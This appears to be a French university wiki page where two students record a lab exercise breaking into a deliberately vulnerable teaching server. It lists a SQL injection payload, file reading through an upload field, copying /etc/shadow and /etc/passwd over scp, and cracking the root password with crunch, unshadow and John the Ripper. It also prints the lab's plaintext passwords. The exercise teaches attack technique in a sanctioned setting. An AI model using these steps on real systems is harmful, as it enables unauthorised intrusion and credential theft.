TP sysres IMA5sc 2020/2021 G12 : Différence entre versions

De Wiki d'activités IMA
(5.5 Intrusion sur un serveur d’application Web)
Ligne 5 : Ligne 5 :
  
  
=5.5  Intrusion sur un serveur d’application Web=
+
==5.5  Intrusion sur un serveur d’application Web==
  
 
L'objectif de cette partie est de se connecter en ssh en tant que root sur le serveur honey.plil.info.
 
L'objectif de cette partie est de se connecter en ssh en tant que root sur le serveur honey.plil.info.

Version du 30 novembre 2020 à 16:07

TP PRA Quentin Normand / Maxime Claudel - truffe

Services Internet

5.5 Intrusion sur un serveur d’application Web

L'objectif de cette partie est de se connecter en ssh en tant que root sur le serveur honey.plil.info.

Pour cela, dans un navigateur web, on examine l'application, et on tente une injection SQL dans le champ identifiant via la commande:

 'OR 1=1#

On obtient ainsi une liste d'utilisateurs avec les mots de passe associés.

On peut donc désormais se connecter à l'application avec l'identifiant admin et son mot de passe jesuislechef.

Par la suite, on a pu voir les différents manuels, et en ajouter un avec le chemin /etc/phpmyadmin/config-db. En téléchargeant le fichier nouvellement créé, on a pu récupérer le mot de passe gencovid19. En se connectant en root avec ce mot de passe à phpmyadmin on a pu rentrer dans la table users et récupérer le login rex et le mot de passe associé plainpassword.

On a donc pu se connecter en SSH au serveur:

 ssh rex@honey.plil.info

On a ensuite utilisé les commandes suivantes pour récupérer les fichiers /etc/passwd et /etx/shadow:

 scp rex@honey.plil.info:/etc/shadow shadow_rex
 scp rex@honey.plil.info:/etc/passwd passwd_rex

Ces deux fichiers vont nous permettre de récupérer le mot de passe root par force brute via l'utilitaire johnthereaper.

Cependant, grâce aux indications données, nous pouvons limité la force brute aux mots de passe formé de 2chaines identiques de 4 caractères. On va donc dans un premier temps créer un dictionnaire de mots de 4 caractères:

 crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico

Puis le transformé en dictionnaire de mots de 8 caractères en doublant les mots présents:

 sed -i 's/\(.*\)/\1\1/'

Maintenant que nous avons un dictionnaire adéquat, nous pouvons nous consacrer au craquage du mot de passe pleinement. Nous allons regrouper passwd_rex et shadow_rex avec la commande suivante:

 unshadow /home/passwd_rex /home/shadow_rex | head > password

Puis utiliser la force brute avec la commande:

 john -w:dico password

On obtient alors le mot de passe root suivant: fortfort

On peut alors se connecter en SSH:

 ssh root@honey.plil.info

Puis ajouter un fichier:

 touch Normand_Claudel_grp12